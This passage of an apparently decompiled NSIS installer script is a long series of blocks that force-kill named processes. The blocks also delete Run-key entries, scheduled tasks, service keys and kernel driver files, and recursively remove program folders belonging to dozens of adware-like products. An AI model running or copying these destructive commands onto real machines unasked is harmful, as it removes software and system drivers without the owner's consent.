IfFileExists $APPDATA\yoursearching 0 label_3626
RMDir /r /REBOOTOK $APPDATA\yoursearching
label_3626:
IfFileExists "$DESKTOP\War Thunder.lnk" 0 label_3628
Delete "$DESKTOP\War Thunder.lnk"
label_3628:
IfFileExists "$DESKTOP\Forge of Empires.lnk" 0 label_3630
Delete "$DESKTOP\Forge of Empires.lnk"
label_3630:
IfFileExists $LOCALAPPDATA\ProfitSaver 0 label_3643
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run ProfitSaver
nsExec::Exec "cmd /k taskkill /IM stub.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM stub.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM launcher.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM launcher.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $LOCALAPPDATA\ProfitSaver
label_3643:
IfFileExists $PROGRAMFILES\UCBrowser 0 label_3667
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run sun11
nsExec::Exec "cmd /k taskkill /IM update_task.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM update_task.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM UCAgent.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM UCAgent.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM UCBrowser.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM UCBrowser.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"UCBrowserUpdater$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"UCBrowserUpdater$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
DeleteRegKey HKLM SYSTEM\ControlSet001\services\UCBrowserSvc
RMDir /r /REBOOTOK $PROGRAMFILES\UCBrowser
label_3667:
IfFileExists "$PROGRAMFILES\DNS Unlocker\dnscarmichaels.exe" 0 label_3684
nsExec::Exec "cmd /k taskkill /IM dnscarmichaels.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM dnscarmichaels.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"DNSCARMICHAELS$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"DNSCARMICHAELS$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"DNS Monitoring$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"DNS Monitoring$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK "$PROGRAMFILES\DNS Unlocker"
label_3684:
IfFileExists $APPDATA\mysites123 0 label_3686
RMDir /r /REBOOTOK $APPDATA\mysites123
label_3686:
IfFileExists "$PROGRAMFILES64\Content Defender" 0 label_3694
nsExec::Exec "cmd /k taskkill /IM cd.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM cd.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\cd
RMDir /r /REBOOTOK "$PROGRAMFILES64\Content Defender"
label_3694:
IfFileExists $LOCALAPPDATA\ZetaGamesViewer 0 label_3702
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run ZetaGamesViewer
nsExec::Exec "cmd /k taskkill /IM zetaviewer.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM zetaviewer.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $LOCALAPPDATA\ZetaGamesViewer
label_3702:
IfFileExists $DESKTOP\ZetaGames.lnk 0 label_3704
Delete $DESKTOP\ZetaGames.lnk
label_3704:
IfFileExists $DESKTOP\Calculator.lnk 0 label_3706
Delete $DESKTOP\Calculator.lnk
label_3706:
IfFileExists $PROGRAMFILES\Defsoft 0 label_3709
DeleteRegKey HKLM SYSTEM\ControlSet001\services\HSystem
RMDir /r /REBOOTOK $PROGRAMFILES\Defsoft
label_3709:
IfFileExists $LOCALAPPDATA\Blacount 0 label_3717
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Blacount
nsExec::Exec "cmd /k taskkill /IM stub.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM stub.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $LOCALAPPDATA\Blacount
label_3717:
ClearErrors
ReadRegStr $2 HKLM SYSTEM\ControlSet001\services\NewTabService ImagePath
IfErrors label_3728
IfFileExists $2 0 label_3728
nsExec::Exec "cmd /k taskkill /IM NewTab.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM NewTab.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\NewTabService
Delete /REBOOTOK $2
label_3728:
IfFileExists $PROGRAMFILES\WordAnchor* 0 label_3763
StrCpy $0 0
label_3730:
EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0
StrCmp $1 "" label_3763
IntOp $0 $0 + 1
ClearErrors
Push $1
Push WordAnchor
Call :label_405
Pop $R3
IfErrors label_3730
IfFileExists $PROGRAMFILES\$1 0 label_3741
RMDir /r /REBOOTOK $PROGRAMFILES\$1
label_3741:
ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion
DeleteRegKey HKLM SYSTEM\ControlSet001\services\wafd_$2
DeleteRegKey HKLM SYSTEM\ControlSet001\services\wasvc_$2
Push $2
Push .
Push _
Call func_179
Pop $3
System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i0)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\wafd_$3.sys 0 label_3756
Delete /REBOOTOK $SYSDIR\drivers\wafd_$3.sys
label_3756:
System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i1)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\wafd_$3.sys 0 label_3763
Delete /REBOOTOK $SYSDIR\drivers\wafd_$3.sys
label_3763:
ClearErrors
ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Service Mgr SaleClipper" ImagePath
IfErrors label_3777
Push $2
Push ""
Push ""
Push $\"
Call :label_1606
Pop $2
Push $2
Call :label_1768
Pop $2
IfFileExists $2 0 label_3777
RMDir /r /REBOOTOK $2
label_3777:
ClearErrors
ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Update Mgr SaleClipper" ImagePath
IfErrors label_3791
Push $2
Push ""
Push ""
Push $\"
Call :label_1606
Pop $2
Push $2
Call :label_1768
Pop $2
IfFileExists $2 0 label_3791
RMDir /r /REBOOTOK $2
label_3791:
ClearErrors
ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Service Mgr OnStage" ImagePath
IfErrors label_3805
Push $2
Push ""
Push ""
Push $\"
Call :label_1606
Pop $2
Push $2
Call :label_1768
Pop $2
IfFileExists $2 0 label_3805
RMDir /r /REBOOTOK $2
label_3805:
ClearErrors
ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Update Mgr OnStage" ImagePath
IfErrors label_3819
Push $2
Push ""
Push ""
Push $\"
Call :label_1606
Pop $2
Push $2
Call :label_1768
Pop $2
IfFileExists $2 0 label_3819
RMDir /r /REBOOTOK $2
label_3819:
IfFileExists $PROGRAMFILES\WordSurfer* 0 label_3854
StrCpy $0 0
label_3821:
EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0
StrCmp $1 "" label_3854
IntOp $0 $0 + 1
ClearErrors
Push $1
Push WordSurfer
Call :label_405
Pop $R3
IfErrors label_3821
IfFileExists $PROGRAMFILES\$1 0 label_3832
RMDir /r /REBOOTOK $PROGRAMFILES\$1
label_3832:
ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion
DeleteRegKey HKLM SYSTEM\ControlSet001\services\wsasvc_$2
DeleteRegKey HKLM SYSTEM\ControlSet001\services\wsafd_$2
Push $2
Push .
Push _
Call func_179
Pop $3
System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i0)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\wsafd_$3.sys 0 label_3847
Delete /REBOOTOK $SYSDIR\drivers\wsafd_$3.sys
label_3847:
System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i1)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\wsafd_$3.sys 0 label_3854
Delete /REBOOTOK $SYSDIR\drivers\wsafd_$3.sys
label_3854:
System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i0)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\wsfd_vw_1_10_0_20.sys 0 label_3861
Delete /REBOOTOK $SYSDIR\drivers\wsfd_vw_1_10_0_20.sys
label_3861:
IfFileExists $SYSDIR\drivers\wsfd_vt_1_10_0_20.sys 0 label_3863
Delete /REBOOTOK $SYSDIR\drivers\wsfd_vt_1_10_0_20.sys
label_3863:
IfFileExists $SYSDIR\drivers\wfd_vw_1_10_0_20.sys 0 label_3865
Delete /REBOOTOK $SYSDIR\drivers\wfd_vw_1_10_0_20.sys
label_3865:
IfFileExists $SYSDIR\drivers\wfd_vt_1_10_0_20.sys 0 label_3867
Delete /REBOOTOK $SYSDIR\drivers\wfd_vt_1_10_0_20.sys
label_3867:
System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i1)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\wsfd_vw_1_10_0_20.sys 0 label_3874
Delete /REBOOTOK $SYSDIR\drivers\wsfd_vw_1_10_0_20.sys
label_3874:
IfFileExists $SYSDIR\drivers\wsfd_vt_1_10_0_20.sys 0 label_3876
Delete /REBOOTOK $SYSDIR\drivers\wsfd_vt_1_10_0_20.sys
label_3876:
IfFileExists $SYSDIR\drivers\wfd_vw_1_10_0_20.sys 0 label_3878
Delete /REBOOTOK $SYSDIR\drivers\wfd_vw_1_10_0_20.sys
label_3878:
IfFileExists $SYSDIR\drivers\wfd_vt_1_10_0_20.sys 0 label_3880
Delete /REBOOTOK $SYSDIR\drivers\wfd_vt_1_10_0_20.sys
label_3880:
IfFileExists $PROGRAMFILES\MaxDrivrUpdater* 0 label_3888
StrCpy $0 ""
FindFirst $0 $R1 $PROGRAMFILES\MaxDrivrUpdater*
label_3883:
StrCmp $R1 "" label_3887
RMDir /r /REBOOTOK $PROGRAMFILES\$R1
FindNext $0 $R1
Goto label_3883
label_3887:
FindClose $0
label_3888:
IfFileExists $PROGRAMFILES\CleverSearch* 0 label_3923
StrCpy $0 0
label_3890:
EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0
StrCmp $1 "" label_3923
IntOp $0 $0 + 1
ClearErrors
Push $1
Push CleverSearch
Call :label_405
Pop $R3
IfErrors label_3890
IfFileExists $PROGRAMFILES\$1 0 label_3901
RMDir /r /REBOOTOK $PROGRAMFILES\$1
label_3901:
ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion
DeleteRegKey HKLM SYSTEM\ControlSet001\services\cssvc_$2
DeleteRegKey HKLM SYSTEM\ControlSet001\services\csfd_vt_$2
Push $2
Push .
Push _
Call func_179
Pop $3
System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i0)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\csfd_vt_$3.sys 0 label_3916
Delete /REBOOTOK $SYSDIR\drivers\csfd_vt_$3.sys
label_3916:
System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i1)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\csfd_vt_$3.sys 0 label_3923
Delete /REBOOTOK $SYSDIR\drivers\csfd_vt_$3.sys
label_3923:
IfFileExists "$PROGRAMFILES\HelloSign for Gmail" 0 label_3930
nsExec::Exec "cmd /k taskkill /IM $\"HelloSign for Gmail.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"HelloSign for Gmail.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\HelloSign for Gmail"
label_3930:
IfFileExists $PROGRAMFILES\EngineRunner 0 label_3932
RMDir /r /REBOOTOK $PROGRAMFILES\EngineRunner
label_3932:
IfFileExists "$PROGRAMFILES\iCloud Bookmarks" 0 label_3939
nsExec::Exec "cmd /k taskkill /IM $\"iCloud Bookmarks.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"iCloud Bookmarks.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\iCloud Bookmarks"
label_3939:
IfFileExists "$PROGRAMFILES\ExtensionSimple Blocker" 0 label_3946
nsExec::Exec "cmd /k taskkill /IM $\"ExtensionSimple Blocker.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"ExtensionSimple Blocker.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\ExtensionSimple Blocker"
label_3946:
IfFileExists "$PROGRAMFILES\Poper Blocker" 0 label_3953
nsExec::Exec "cmd /k taskkill /IM $\"Poper Blocker.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"Poper Blocker.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\Poper Blocker"
label_3953:
IfFileExists $PROGRAMFILES\ReactorKeeper 0 label_3955
RMDir /r /REBOOTOK $PROGRAMFILES\ReactorKeeper
label_3955:
IfFileExists $PROGRAMFILES\ThinkupWP 0 label_3963
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\LiveUpdateWPP Manager"
nsExec::Exec "cmd /k taskkill /IM $\"LiveUpdateWPP.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"LiveUpdateWPP.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\ThinkupWP
label_3963:
IfFileExists $PROGRAMFILES\ThinkProtect 0 label_3980
nsExec::ExecToStack "schtasks /delete /tn $\"Web Protector Plus Server$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Web Protector Plus Server$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"Web Protector Plus$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Web Protector Plus$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::Exec "cmd /k taskkill /IM $\"WebProtectorPlus.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"WebProtectorPlus.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\ThinkProtect
label_3980:
IfFileExists $PROGRAMFILES\QuickSurf* 0 label_4015
StrCpy $0 0
label_3982:
EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0
StrCmp $1 "" label_4015
IntOp $0 $0 + 1
ClearErrors
Push $1
Push QuickSurf
Call :label_405
Pop $R3
IfErrors label_3982
IfFileExists $PROGRAMFILES\$1 0 label_3993
RMDir /r /REBOOTOK $PROGRAMFILES\$1
label_3993:
ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion
DeleteRegKey HKLM SYSTEM\ControlSet001\services\qssvc_$2
DeleteRegKey HKLM SYSTEM\ControlSet001\services\qsafd_vt_$2
Push $2
Push .
Push _
Call func_179
Pop $3
System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i0)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\qsafd_vt_$3.sys 0 label_4008
Delete /REBOOTOK $SYSDIR\drivers\qsafd_vt_$3.sys
label_4008:
System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i1)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\qsafd_vt_$3.sys 0 label_4015
Delete /REBOOTOK $SYSDIR\drivers\qsafd_vt_$3.sys
label_4015:
IfFileExists $PROGRAMFILES\RapidReader* 0 label_4050
StrCpy $0 0
label_4017:
EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0
StrCmp $1 "" label_4050
IntOp $0 $0 + 1
ClearErrors
Push $1
Push RapidReader
Call :label_405
Pop $R3
IfErrors label_4017
IfFileExists $PROGRAMFILES\$1 0 label_4028
RMDir /r /REBOOTOK $PROGRAMFILES\$1
label_4028:
ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion
DeleteRegKey HKLM SYSTEM\ControlSet001\services\rrsvc_$2
DeleteRegKey HKLM SYSTEM\ControlSet001\services\rrfd_vt_$2
Push $2
Push .
Push _
Call func_179
Pop $3
System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i0)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\rrfd_vt_$3.sys 0 label_4043
Delete /REBOOTOK $SYSDIR\drivers\rrfd_vt_$3.sys
label_4043:
System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i1)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\rrfd_vt_$3.sys 0 label_4050
Delete /REBOOTOK $SYSDIR\drivers\rrfd_vt_$3.sys
label_4050:
IfFileExists $PROGRAMFILES\TermCoach* 0 label_4085
StrCpy $0 0
label_4052:
EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0
StrCmp $1 "" label_4085
IntOp $0 $0 + 1
ClearErrors
Push $1
Push TermCoach
Call :label_405
Pop $R3
IfErrors label_4052
IfFileExists $PROGRAMFILES\$1 0 label_4063
RMDir /r /REBOOTOK $PROGRAMFILES\$1
label_4063:
ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion
DeleteRegKey HKLM SYSTEM\ControlSet001\services\tcsvc_$2
DeleteRegKey HKLM SYSTEM\ControlSet001\services\tcfd_vt_$2
Push $2
Push .
Push _
Call func_179
Pop $3
System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i0)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\tcfd_vt_$3.sys 0 label_4078
Delete /REBOOTOK $SYSDIR\drivers\tcfd_vt_$3.sys
label_4078:
System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i1)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\tcfd_vt_$3.sys 0 label_4085
Delete /REBOOTOK $SYSDIR\drivers\tcfd_vt_$3.sys
label_4085:
IfFileExists "$PROGRAMFILES\Send to Kindle for Chrome" 0 label_4092
nsExec::Exec "cmd /k taskkill /IM $\"Send to Kindle for Chrome.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"Send to Kindle for Chrome.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\Send to Kindle for Chrome"
label_4092:
IfFileExists $PROGRAMFILES\IncludeFunc 0 label_4094
RMDir /r /REBOOTOK $PROGRAMFILES\IncludeFunc
label_4094:
IfFileExists "$PROGRAMFILES\Video Downloader professional" 0 label_4101
nsExec::Exec "cmd /k taskkill /IM $\"Video Downloader professional.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"Video Downloader professional.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\Video Downloader professional"
label_4101:
IfFileExists $PROGRAMFILES\SystemDefend 0 label_4103
RMDir /r /REBOOTOK $PROGRAMFILES\SystemDefend
label_4103:
IfFileExists $PROGRAMFILES\Stealthy 0 label_4110
nsExec::Exec "cmd /k taskkill /IM $\"Stealthy.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"Stealthy.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\Stealthy
label_4110:
IfFileExists "$PROGRAMFILES\Fresh Outlook" 0 label_4112
RMDir /r /REBOOTOK "$PROGRAMFILES\Fresh Outlook"
label_4112:
IfFileExists $PROGRAMFILES\PhraseProfessor* 0 label_4147
StrCpy $0 0
label_4114:
EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0
StrCmp $1 "" label_4147
IntOp $0 $0 + 1
ClearErrors
Push $1
Push PhraseProfessor
Call :label_405
Pop $R3
IfErrors label_4114
IfFileExists $PROGRAMFILES\$1 0 label_4125
RMDir /r /REBOOTOK $PROGRAMFILES\$1
label_4125:
ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion
DeleteRegKey HKLM SYSTEM\ControlSet001\services\ppsvc_$2
DeleteRegKey HKLM SYSTEM\ControlSet001\services\ppfd_vt_$2
Push $2
Push .
Push _
Call func_179
Pop $3
System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i0)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\ppfd_vt_$3.sys 0 label_4140
Delete /REBOOTOK $SYSDIR\drivers\ppfd_vt_$3.sys
label_4140:
System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i1)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\ppfd_vt_$3.sys 0 label_4147
Delete /REBOOTOK $SYSDIR\drivers\ppfd_vt_$3.sys
label_4147:
IfFileExists "$PROGRAMFILES\Application Assistance\ap1.exe" 0 label_4156
nsExec::Exec "cmd /k taskkill /IM ap1.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ap1.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run ap2
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run ap1
RMDir /r /REBOOTOK "$PROGRAMFILES\Application Assistance"
label_4156:
IfFileExists $PROGRAMFILES\ReactorSubs 0 label_4158
RMDir /r /REBOOTOK $PROGRAMFILES\ReactorSubs
label_4158:
IfFileExists "$PROGRAMFILES\Functional Tester for Chrome" 0 label_4165
nsExec::Exec "cmd /k taskkill /IM $\"Functional Tester for Chrome.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"Functional Tester for Chrome.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\Functional Tester for Chrome"
label_4165:
IfFileExists $PROGRAMFILES\ProcessFoobar 0 label_4167
RMDir /r /REBOOTOK $PROGRAMFILES\ProcessFoobar
label_4167:
IfFileExists "$PROGRAMFILES\Hack this page" 0 label_4174
nsExec::Exec "cmd /k taskkill /IM $\"Hack this page.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"Hack this page.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\Hack this page"
label_4174:
IfFileExists $PROGRAMFILES\EoxstraCouppon 0 label_4181
nsExec::Exec "cmd /k taskkill /IM $\"EoxstraCouppon.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"EoxstraCouppon.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\EoxstraCouppon
label_4181:
IfFileExists $PROGRAMFILES\ExsutraCouepoNN 0 label_4183
RMDir /r /REBOOTOK $PROGRAMFILES\ExsutraCouepoNN
label_4183:
IfFileExists $PROGRAMFILES64\shopperz* 0 label_4207
StrCpy $0 0
label_4185:
EnumRegKey $1 HKLM Software $0
StrCmp $1 "" label_4207
IntOp $0 $0 + 1
ClearErrors
Push $1
Push shopperz
Call :label_405
Pop $R3
IfErrors label_4185
DeleteRegKey HKLM SYSTEM\ControlSet001\services\csrcc
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\$1 Updater"
nsExec::Exec "cmd /k taskkill /IM csrcc.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
